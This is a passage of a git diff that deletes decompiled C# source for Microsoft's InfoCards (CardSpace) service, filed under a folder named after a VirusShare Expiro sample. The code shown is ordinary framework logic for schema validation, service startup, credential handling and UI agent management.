InfoCardRequestException() - : base(-1073413882) - { - } - - public InfoCardRequestException(string message) - : base(-1073413882, message) - { - } - - public InfoCardRequestException(string message, Exception inner) - : base(-1073413882, message, inner) - { - } - - protected InfoCardRequestException(SerializationInfo si, StreamingContext sc) - : base(-1073413882, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardSchemas.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardSchemas.cs deleted file mode 100644 index 9db08f6e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardSchemas.cs +++ /dev/null @@ -1,156 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardSchemas -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Reflection; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardSchemas - { - private static readonly string[] s_primarySchemas = new string[2] - { - "identity.xsd", - "ws-identity-2007.xsd" - }; - private static readonly InfoCardSchemas.SchemaLocationResourceMapping[] s_supportingSchemas = new InfoCardSchemas.SchemaLocationResourceMapping[13] - { - new InfoCardSchemas.SchemaLocationResourceMapping("addressing.xsd", "http://www.w3.org/2005/08/addressing/addressing.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("addressing04.xsd", "http://schemas.xmlsoap.org/ws/2004/08/addressing/"), - new InfoCardSchemas.SchemaLocationResourceMapping("xmldsig-core-schema.xsd", "http://www.w3.org/TR/xmldsig-core/xmldsig-core-schema.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("xml.xsd", "http://www.w3.org/2001/xml.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("xenc-schema.xsd", "http://www.w3.org/TR/xmlenc-core/xenc-schema.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("oasis-200401-wss-wssecurity-secext-1.0.xsd", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("oasis-200401-wss-wssecurity-utility-1.0.xsd", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSPolicyXmlSoap2004.Instance.LocalSchemaLocation, XmlNames.WSPolicyXmlSoap2004.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSPolicyW32007.Instance.LocalSchemaLocation, XmlNames.WSPolicyW32007.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSSecurityPolicyXmlSoap2005.Instance.LocalSchemaLocation, XmlNames.WSSecurityPolicyXmlSoap2005.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSSecurityPolicyOasis2007.Instance.LocalSchemaLocation, XmlNames.WSSecurityPolicyOasis2007.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSTrustXmlSoap2005.Instance.LocalSchemaLocation, XmlNames.WSTrustXmlSoap2005.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSTrustOasis2007.Instance.LocalSchemaLocation, XmlNames.WSTrustOasis2007.Instance.SchemaLocation) - }; - private static InfoCardSchemas s_current = new InfoCardSchemas(Assembly.GetExecutingAssembly()); - private InfoCardSchemas.LocalCachingResolver m_resolver; - private Assembly m_assembly; - private XmlSchemaSet m_schemas; - private object m_sync; - - private InfoCardSchemas(Assembly sourceAssembly) - { - this.m_sync = new object(); - this.m_resolver = new InfoCardSchemas.LocalCachingResolver(); - this.m_assembly = sourceAssembly; - } - - public static XmlSchemaSet GetSchemaSet() - { - if (InfoCardSchemas.s_current.m_schemas == null) - { - lock (InfoCardSchemas.s_current.m_sync) - { - if (InfoCardSchemas.s_current.m_schemas == null) - InfoCardSchemas.s_current.InitializeSchemas(); - } - } - return InfoCardSchemas.s_current.m_schemas; - } - - public static XmlReader CreateReader(string fragment) => InfoCardSchemas.CreateReader(Utility.CreateReaderWithQuotas(fragment)); - - public static XmlReader CreateReader(Stream stream, XmlReaderSettings settings) => InfoCardSchemas.CreateReader(Utility.CreateReaderWithQuotas(stream), settings); - - public static XmlReader CreateReader( - XmlDictionaryReader reader, - XmlReaderSettings settings) - { - return XmlReader.Create((XmlReader) reader, settings); - } - - public static XmlReader CreateReader(XmlDictionaryReader reader) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - return XmlReader.Create((XmlReader) reader, defaultReaderSettings); - } - - public static XmlReaderSettings CreateDefaultReaderSettings() - { - XmlReaderSettings defaultReaderSettings = new XmlReaderSettings(); - defaultReaderSettings.CloseInput = false; - defaultReaderSettings.ValidationType = ValidationType.Schema; - defaultReaderSettings.ValidationFlags = XmlSchemaValidationFlags.ReportValidationWarnings; - defaultReaderSettings.ConformanceLevel = ConformanceLevel.Auto; - defaultReaderSettings.Schemas = InfoCardSchemas.GetSchemaSet(); - defaultReaderSettings.ValidationEventHandler += new ValidationEventHandler(InfoCardSchemas.ErrorHandler); - defaultReaderSettings.XmlResolver = (XmlResolver) InfoCardSchemas.s_current.m_resolver; - defaultReaderSettings.IgnoreComments = true; - defaultReaderSettings.IgnoreWhitespace = true; - defaultReaderSettings.IgnoreProcessingInstructions = true; - return defaultReaderSettings; - } - - private void InitializeSchemas() - { - InfoCardSchemas.LocalCachingResolver localCachingResolver = new InfoCardSchemas.LocalCachingResolver(); - for (int index = 0; index < InfoCardSchemas.s_supportingSchemas.Length; ++index) - { - Uri location = new Uri(InfoCardSchemas.s_supportingSchemas[index].SchemaLocation); - System.Xml.Schema.XmlSchema schema = System.Xml.Schema.XmlSchema.Read(this.m_assembly.GetManifestResourceStream(InfoCardSchemas.s_supportingSchemas[index].ResourceName), new ValidationEventHandler(InfoCardSchemas.ErrorHandler)); - localCachingResolver.AddLocalSchema(location, schema); - } - XmlSchemaSet xmlSchemaSet = new XmlSchemaSet(); - xmlSchemaSet.XmlResolver = (XmlResolver) localCachingResolver; - for (int index = 0; index < InfoCardSchemas.s_primarySchemas.Length; ++index) - { - System.Xml.Schema.XmlSchema schema = System.Xml.Schema.XmlSchema.Read(this.m_assembly.GetManifestResourceStream(InfoCardSchemas.s_primarySchemas[index]), new ValidationEventHandler(InfoCardSchemas.ErrorHandler)); - xmlSchemaSet.Add(schema); - } - xmlSchemaSet.ValidationEventHandler += new ValidationEventHandler(InfoCardSchemas.ErrorHandler); - xmlSchemaSet.Compile(); - this.m_resolver = localCachingResolver; - this.m_schemas = xmlSchemaSet; - } - - private static void ErrorHandler(object sender, ValidationEventArgs args) - { - if (args.Severity == XmlSeverityType.Error) - throw InfoCardTrace.ThrowHelperCritical((Exception) new XmlSchemaValidationException(SR.GetString("SchemaValidationError", (object) args.Exception.Message), (Exception) args.Exception)); - } - - private class LocalCachingResolver : XmlUrlResolver - { - private Dictionary m_table; - - public LocalCachingResolver() => this.m_table = new Dictionary(); - - public void AddLocalSchema(Uri location, System.Xml.Schema.XmlSchema schema) => this.m_table.Add(location, schema); - - public override Uri ResolveUri(Uri baseUri, string relativeUri) => base.ResolveUri(baseUri, relativeUri); - - public override object GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn) => (object) this.m_table[absoluteUri]; - } - - private class SchemaLocationResourceMapping - { - private string m_resourceName; - private string m_schemaLocation; - - public SchemaLocationResourceMapping(string resourceName, string schemaLocation) - { - this.m_resourceName = resourceName; - this.m_schemaLocation = schemaLocation; - } - - public string ResourceName => this.m_resourceName; - - public string SchemaLocation => this.m_schemaLocation; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardService.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardService.cs deleted file mode 100644 index 2f35816e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardService.cs +++ /dev/null @@ -1,111 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardService -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Net; -using System.Net.Security; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.ServiceProcess; - -namespace Microsoft.InfoCards -{ - internal class InfoCardService : ServiceBase - { - public const int WindowsVistaMajorVersion = 6; - public const string FullServiceName = "idsvc"; - private RpcCallbacks m_rpcCallbacks; - public static LifeTimeMonitor LifeTimeMonitor = (LifeTimeMonitor) null; - - public static event EventHandler Stopping; - - public InfoCardService() - { - bool flag1 = 0 != NativeMethods.GetSystemMetrics(86); - bool flag2 = Environment.OSVersion.Version.Major < 6; - if (NativeMcppMethods.AdjustPrivilegesWrapper(flag1 && flag2) != 0U) - InfoCardService.Crash((Exception) new Win32Exception()); - try - { - NativeMcppMethods.AdjustServiceProcessSecurity(); - } - catch (Win32Exception ex) - { - InfoCardService.Crash((Exception) ex); - } - this.ServiceName = "idsvc"; - this.CanStop = true; - this.CanShutdown = true; - this.CanPauseAndContinue = false; - this.CanHandleSessionChangeEvent = true; - this.CanHandlePowerEvent = false; - this.AutoLog = true; - this.m_rpcCallbacks.uiAgentRequestAuthorize = new RpcAuthorizeCallback(UIAgentRequest.Authorize); - this.m_rpcCallbacks.uiAgentRequestBindToService = new RpcUIAgentBindToServiceCallback(UIAgentRequest.BindToService); - this.m_rpcCallbacks.clientRequestAuthorize = new RpcAuthorizeCallback(ClientRequest.Authorize); - this.m_rpcCallbacks.clientRequestBindToService = new RpcClientBindToServiceCallback(ClientUIRequest.BindToService); - this.m_rpcCallbacks.requestFactoryProcessNewRequest = new RpcProcessNewRequestCallback(RequestFactory.ProcessNewRequest); - this.m_rpcCallbacks.allocMem = new RpcAllocMemCallback(Marshal.AllocHGlobal); - this.m_rpcCallbacks.freeMem = new RpcFreeMemCallback(Marshal.FreeHGlobal); - this.m_rpcCallbacks.rundownClientContext = new RpcRundownClientContextHandle(ClientUIRequest.RemoveAndDisposeContextMapping); - InfoCardService.LifeTimeMonitor = new LifeTimeMonitor(); - ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(InfoCardX509Validator.ValidateChainOrPeerCallback); - } - - protected override void Dispose(bool disposing) => base.Dispose(disposing); - - protected override void OnStart(string[] args) - { - base.OnStart(args); - AppDomain.CurrentDomain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal); - using (HGlobalSafeHandle hglobalSafeHandle = HGlobalSafeHandle.Construct(Marshal.SizeOf((object) this.m_rpcCallbacks))) - { - Marshal.StructureToPtr((object) this.m_rpcCallbacks, hglobalSafeHandle.DangerousGetHandle(), false); - uint error = NativeMcppMethods.InfoCardStartRpcServerWrapper(InfoCardUIAgent.UiAgentFullPath, hglobalSafeHandle.DangerousGetHandle()); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) error)); - } - } - - protected override void OnStop() - { - try - { - InfoCardUIAgent.DoShutdown(); - int num = (int) NativeMcppMethods.InfoCardStopRpcServerWrapper(); - this.OnStopping(); - } - catch (Exception ex) - { - InfoCardTrace.TraceAndLogException(ex); - } - finally - { - base.OnStop(); - } - } - - protected virtual void OnStopping() - { - if (InfoCardService.Stopping == null) - return; - InfoCardService.Stopping((object) this, new EventArgs()); - } - - protected override void OnSessionChange(SessionChangeDescription changeDescription) - { - if (SessionChangeReason.SessionLogoff != changeDescription.Reason) - return; - InfoCardUIAgent.OnLogout((uint) changeDescription.SessionId); - } - - public static void Crash() => InfoCardService.Crash((Exception) null); - - public static void Crash(Exception e) => InfoCardTrace.FailFast(e.Message); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs deleted file mode 100644 index 6c6cf135..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs +++ /dev/null @@ -1,143 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardServiceClientCredentials -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Description; -using System.ServiceModel.Dispatcher; -using System.ServiceModel.Security.Tokens; - -namespace Microsoft.InfoCards -{ - internal class InfoCardServiceClientCredentials : ClientCredentials - { - private InfoCard m_card; - private TokenFactoryCredential m_credentials; - private bool m_isSelfIssued; - private ProtocolProfile m_protocolProfile; - private RSATokenProvider m_endorsingSigTokenProvider; - - public InfoCardServiceClientCredentials(TokenFactoryCredential creds, ProtocolProfile profile) - { - this.m_credentials = creds; - this.m_protocolProfile = profile; - } - - public InfoCardServiceClientCredentials( - InfoCardServiceClientCredentials other, - ProtocolProfile profile) - : base((ClientCredentials) other) - { - this.m_credentials = other.m_credentials; - this.m_endorsingSigTokenProvider = other.m_endorsingSigTokenProvider; - this.m_protocolProfile = profile; - } - - public InfoCard SelectedCard - { - get => this.m_card; - set => this.m_card = value; - } - - public bool IsSelfIssuedCred - { - get => this.m_isSelfIssued; - set => this.m_isSelfIssued = value; - } - - public RSATokenProvider EndorsingSignatureTokenProvider - { - get => this.m_endorsingSigTokenProvider; - set => this.m_endorsingSigTokenProvider = value; - } - - public ProtocolProfile ProtocolVersionProfile => this.m_protocolProfile; - - protected override ClientCredentials CloneCore() => (ClientCredentials) new InfoCardServiceClientCredentials(this, this.m_protocolProfile); - - public override void ApplyClientBehavior( - ServiceEndpoint serviceEndpoint, - ClientRuntime behavior) - { - } - - public override SecurityTokenManager CreateSecurityTokenManager() => (SecurityTokenManager) new InfoCardServiceClientCredentials.InfoCardServiceClientCredentialsSecurityTokenManager(this); - - private class InfoCardServiceClientCredentialsSecurityTokenManager : - ClientCredentialsSecurityTokenManager - { - private InfoCard m_card; - private TokenFactoryCredential m_credentials; - private ProtocolProfile m_protocolProfile; - - public InfoCardServiceClientCredentialsSecurityTokenManager( - InfoCardServiceClientCredentials creds) - : base((ClientCredentials) creds) - { - this.m_card = creds.SelectedCard; - this.m_credentials = creds.m_credentials; - this.m_protocolProfile = creds.ProtocolVersionProfile; - } - - public override SecurityTokenProvider CreateSecurityTokenProvider( - SecurityTokenRequirement tokenRequirement) - { - string str = tokenRequirement != null ? tokenRequirement.TokenType : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (tokenRequirement)); - bool flag = null != ((InfoCardServiceClientCredentials) this.ClientCredentials).EndorsingSignatureTokenProvider; - if (this.IsIssuedSecurityTokenRequirement(tokenRequirement)) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.SelfIssuedCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - IssuedSecurityTokenParameters property1 = tokenRequirement.GetProperty(ServiceModelSecurityTokenRequirement.IssuedSecurityTokenParametersProperty); - EndpointAddress property2 = tokenRequirement.GetProperty(ServiceModelSecurityTokenRequirement.TargetAddressProperty); - if (property1.IssuerAddress != (EndpointAddress) null && Utility.CompareUri(property1.IssuerAddress.Uri, XmlNames.WSIdentity.SelfIssuerUriValue)) - return (SecurityTokenProvider) new CustomTokenProvider(property1, this.m_card, property2, ((InfoCardServiceClientCredentials) this.ClientCredentials).IsSelfIssuedCred, this.m_protocolProfile); - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("InvalidIssuerForIssuedToken"))); - } - if (str == SecurityTokenTypes.X509Certificate) - { - if (tokenRequirement.KeyUsage != SecurityKeyUsage.Signature) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.X509CertificateCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return (SecurityTokenProvider) new RemoteCryptoTokenProvider(this.ClientCredentials.ClientCertificate.Certificate); - } - if (str == ServiceModelSecurityTokenTypes.MutualSslnego) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.X509CertificateCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == ServiceModelSecurityTokenTypes.AnonymousSslnego) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (str == ServiceModelSecurityTokenTypes.SecureConversation) - return base.CreateSecurityTokenProvider(tokenRequirement); - if (str == SecurityTokenTypes.Kerberos || str == ServiceModelSecurityTokenTypes.Spnego) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.KerberosCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == SecurityTokenTypes.UserName) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.UserNamePasswordCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - if (str == ServiceModelSecurityTokenTypes.SspiCredential) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.KerberosCredential && this.m_credentials.CredentialType != TokenFactoryCredentialType.UserNamePasswordCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - return base.CreateSecurityTokenProvider(tokenRequirement); - } - return str == SecurityTokenTypes.Rsa && flag ? (SecurityTokenProvider) ((InfoCardServiceClientCredentials) this.ClientCredentials).EndorsingSignatureTokenProvider : base.CreateSecurityTokenProvider(tokenRequirement); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardUIAgent.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardUIAgent.cs deleted file mode 100644 index 969e2cb2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardUIAgent.cs +++ /dev/null @@ -1,530 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardUIAgent -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections; -using System.Collections.Specialized; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class InfoCardUIAgent - { - private const string UiAgentName = "icardagt.exe"; - private const string IdleTimeoutKey = "software\\microsoft\\infocard"; - private const int IdleTimeoutDefault = 300; - private const string IdleTimeoutValue = "sleep1"; - public static readonly string UiAgentFullPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "icardagt.exe"); - private static bool s_initialized; - private static bool s_isShuttingDown; - private static ManualResetEvent s_doneShuttingDownEvent = new ManualResetEvent(false); - private static InfoCardUIAgent.UInt32IndexedHybridDictionary s_sessionIdCollection = new InfoCardUIAgent.UInt32IndexedHybridDictionary(); - private static InfoCardUIAgent.UInt32IndexedHybridDictionary s_pidCollection = new InfoCardUIAgent.UInt32IndexedHybridDictionary(); - private readonly TimeSpan AgentStateChangeTimeOut = new TimeSpan(0, 0, 300); - private static TimeSpan s_idleTimeout = new TimeSpan(0, 0, 300); - private static object s_syncRoot = new object(); - private ManualResetEvent m_uiStatusRecieved; - private AutoResetEvent m_agentGetWorkStart; - private AutoResetEvent m_agentGetWorkComplete; - private ClientUIRequest m_request; - private int m_tsSessionId; - private Process m_process; - private EventHandler m_processExitHandler; - private Timer m_timer; - private string m_trustedUserSid; - private SafeNativeHandle m_trustedUserToken; - private string m_desktopName; - private string m_user; - private InfoCardUIAgent.CallMode m_mode; - private RpcUIAgentGetWorkCallback m_getWorkCallback; - private ClientUIRequest.RequestResult m_currentStatus; - private object m_memberSync; - - private InfoCardUIAgent(int callerPid, WindowsIdentity userIdentity, int tsSessionId) - { - this.m_agentGetWorkStart = new AutoResetEvent(false); - this.m_agentGetWorkComplete = new AutoResetEvent(false); - this.m_uiStatusRecieved = new ManualResetEvent(false); - this.m_tsSessionId = tsSessionId; - this.m_timer = (Timer) null; - IntPtr zero1 = IntPtr.Zero; - IntPtr zero2 = IntPtr.Zero; - int pid = 0; - this.m_mode = InfoCardUIAgent.CallMode.Sleep; - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_user = userIdentity.User.ToString(); - this.m_memberSync = new object(); - int num = NativeMcppMethods.VerifyTrust(InfoCardUIAgent.UiAgentFullPath); - if (num != 0) - InfoCardTrace.FailFast(SR.GetString("FailedToVerifySignature", (object) num)); - IntPtr zero3 = IntPtr.Zero; - bool fElevateToken = false; - int trustedUserWrapper = (int) NativeMcppMethods.CreateProcessAsTrustedUserWrapper(InfoCardUIAgent.UiAgentFullPath, "", (uint) callerPid, "WinSta0\\Default", userIdentity.Name, (uint) this.m_tsSessionId, ref zero2, ref zero1, ref pid, zero3, ref this.m_trustedUserSid, fElevateToken); - if (trustedUserWrapper != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new FailedToStartupUIException(SR.GetString("CreateProcessFailed", (object) trustedUserWrapper), (Exception) new Win32Exception(trustedUserWrapper))); - this.m_trustedUserToken = new SafeNativeHandle(zero2, true); - using (SafeWaitHandle processHandle = new SafeWaitHandle(zero1, true)) - { - this.m_process = ProcessMonitor.GetProcessById(pid); - this.m_processExitHandler = new EventHandler(this.OnProcessExit); - this.m_process.Exited += this.m_processExitHandler; - Utility.ThrowIfProcessExited(processHandle); - } - } - - public uint ProcessId => (uint) this.m_process.Id; - - public string DesktopName => this.m_desktopName; - - private ClientUIRequest Request => this.m_request; - - public int TsSessionId => this.m_tsSessionId; - - public bool IsActive - { - get - { - switch (this.m_mode) - { - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - return true; - default: - return false; - } - } - } - - public bool IsShuttingDown => this.m_mode == InfoCardUIAgent.CallMode.Shutdown; - - public SafeNativeHandle TrustedUserToken => this.m_trustedUserToken; - - public string TrustedUserSid => this.m_trustedUserSid; - - public string User => this.m_user; - - private static void InitializeIfNecessary() - { - if (InfoCardUIAgent.s_initialized) - return; - lock (InfoCardUIAgent.s_syncRoot) - { - if (InfoCardUIAgent.s_initialized) - return; - using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("software\\microsoft\\infocard", false)) - { - if (registryKey != null) - { - object seconds = registryKey.GetValue("sleep1", (object) 300); - if (seconds is int num) - { - if (num > 0) - InfoCardUIAgent.s_idleTimeout = new TimeSpan(0, 0, (int) seconds); - } - } - } - InfoCardUIAgent.s_initialized = true; - } - } - - public static InfoCardUIAgent Create( - int callerPid, - WindowsIdentity callerIdentity, - int tsSessionId) - { - InfoCardUIAgent.InitializeIfNecessary(); - InfoCardUIAgent infoCardUiAgent = (InfoCardUIAgent) null; - lock (InfoCardUIAgent.s_syncRoot) - { - InfoCardUIAgent.ThrowIfShuttingDown(); - infoCardUiAgent = (InfoCardUIAgent) InfoCardUIAgent.s_sessionIdCollection[(uint) tsSessionId]; - if (infoCardUiAgent != null) - { - if (infoCardUiAgent.IsShuttingDown) - { - infoCardUiAgent = (InfoCardUIAgent) null; - } - else - { - if (infoCardUiAgent.Request != null) - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException()); - if (infoCardUiAgent.User != callerIdentity.User.ToString()) - { - infoCardUiAgent.Shutdown(); - infoCardUiAgent = (InfoCardUIAgent) null; - } - } - } - if (infoCardUiAgent == null) - { - infoCardUiAgent = new InfoCardUIAgent(callerPid, callerIdentity, tsSessionId); - InfoCardUIAgent.s_pidCollection[infoCardUiAgent.ProcessId] = (object) infoCardUiAgent; - InfoCardUIAgent.s_sessionIdCollection[(uint) tsSessionId] = (object) infoCardUiAgent; - } - } - return infoCardUiAgent; - } - - public RpcUIAgentGetWorkCallback Bind( - string desktopName, - out SecurityIdentifier userSid, - out SafeWaitHandle hStartEvent, - out SafeWaitHandle hCompleteEvent) - { - lock (this.m_memberSync) - { - userSid = new SecurityIdentifier(this.m_trustedUserSid); - hStartEvent = Utility.GetRemoteHandleFromLocalHandle(this.m_agentGetWorkStart.SafeWaitHandle, this.m_process); - hCompleteEvent = Utility.GetRemoteHandleFromLocalHandle(this.m_agentGetWorkComplete.SafeWaitHandle, this.m_process); - this.m_desktopName = desktopName; - return this.m_getWorkCallback = new RpcUIAgentGetWorkCallback(this.GetWork); - } - } - - public void ResetUIResult() - { - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_uiStatusRecieved.Reset(); - } - - public ClientUIRequest.RequestResult ShowUI(InfoCardUIAgent.CallMode mode) - { - if (this.m_currentStatus == ClientUIRequest.RequestResult.Pending) - { - bool flag = false; - lock (this.m_memberSync) - { - if (this.m_currentStatus == ClientUIRequest.RequestResult.Pending) - { - switch (mode) - { - case InfoCardUIAgent.CallMode.GetToken: - case InfoCardUIAgent.CallMode.Manage: - case InfoCardUIAgent.CallMode.Import: - case InfoCardUIAgent.CallMode.Error: - if (this.SetMode(mode)) - { - flag = true; - break; - } - break; - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, nameof (mode)); - break; - } - } - } - if (flag) - this.WaitForModeChange(); - this.m_uiStatusRecieved.WaitOne(); - } - return this.m_currentStatus; - } - - public void SetUIStatus(ClientUIRequest.RequestResult status) - { - lock (this.m_memberSync) - { - this.m_currentStatus = status; - if (this.m_request != null && (ClientUIRequest.RequestResult.Cancel == this.m_currentStatus || ClientUIRequest.RequestResult.Untrusted == this.m_currentStatus || ClientUIRequest.RequestResult.Error == this.m_currentStatus)) - this.m_request.UserCancel(ClientUIRequest.RequestResult.Untrusted == this.m_currentStatus); - this.m_uiStatusRecieved.Set(); - } - } - - public void SetRequest(ClientUIRequest request) - { - InfoCardTrace.Assert(null != request, "Request should not be null"); - bool flag = false; - lock (InfoCardUIAgent.s_syncRoot) - { - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - this.m_request = request; - if (this.SetMode(InfoCardUIAgent.CallMode.Initialize)) - flag = true; - this.m_currentStatus = ClientUIRequest.RequestResult.Pending; - this.m_uiStatusRecieved.Reset(); - } - if (!flag) - return; - this.WaitForModeChange(); - } - - private bool SetMode(InfoCardUIAgent.CallMode mode) - { - bool flag = false; - lock (this.m_memberSync) - { - if (InfoCardUIAgent.CallMode.Shutdown != this.m_mode) - { - if (this.m_mode != mode) - { - switch (mode) - { - case InfoCardUIAgent.CallMode.Sleep: - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_mode != InfoCardUIAgent.CallMode.Release, nameof (mode)); - goto case InfoCardUIAgent.CallMode.Shutdown; - case InfoCardUIAgent.CallMode.Initialize: - 